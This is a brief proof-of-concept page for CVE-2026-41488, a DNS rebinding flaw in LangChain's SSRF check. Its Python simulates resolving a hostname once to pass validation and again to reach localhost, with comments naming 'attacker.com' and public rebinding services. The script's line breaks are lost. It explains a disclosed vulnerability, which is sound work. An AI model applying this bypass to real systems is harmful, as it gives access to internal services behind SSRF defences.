CVE-2026-41488 LangChain DNS重绑定漏洞

# This PoC demonstrates the vulnerable logic flow. # An attacker would need a controlled domain (e.g., via rebind.net) # that resolves to a public IP first, then 127.0.0.1. import socket import time def simulate_vulnerable_flow(hostname): # Step 1: Validation (Check) print(f"[+] Validating hostname: {hostname}") try: # First DNS resolution (Expected Public IP) ip_check = socket.gethostbyname(hostname) print(f"[+] Validation IP: {ip_check}") # Simulate SSRF check logic (simplified) if ip_check.startswith("127.") or ip_check.startswith("192.168.") or ip_check == "::1": print("[-] SSRF Detected: Blocking private IP during validation.") return except socket.gaierror: print("[-] Resolution failed.") return # TOCTOU Window: Attacker changes DNS record here print("[*] TOCTOU Window: Waiting for DNS rebinding...") time.sleep(2) # Step 2: Fetch (Use) # Second DNS resolution (Attacker switches to Localhost) print(f"[*] Fetching resource from: {hostname}") try: ip_fetch = socket.gethostbyname(hostname) print(f"[+] Fetch IP: {ip_fetch}") # Vulnerability: Request goes to the new IP without re-validation if ip_fetch.startswith("127."): print("[!] EXPLOIT SUCCESSFUL: Request sent to localhost (Internal IP)!") else: print("[!] Exploit failed: IP did not rebind to target.") except socket.gaierror: print("[-] Resolution failed.") # Note: To test this practically, replace 'attacker.com' with a domain # configured to rebind (e.g., using a service like rbndr.us). # simulate_vulnerable_flow("attacker.com")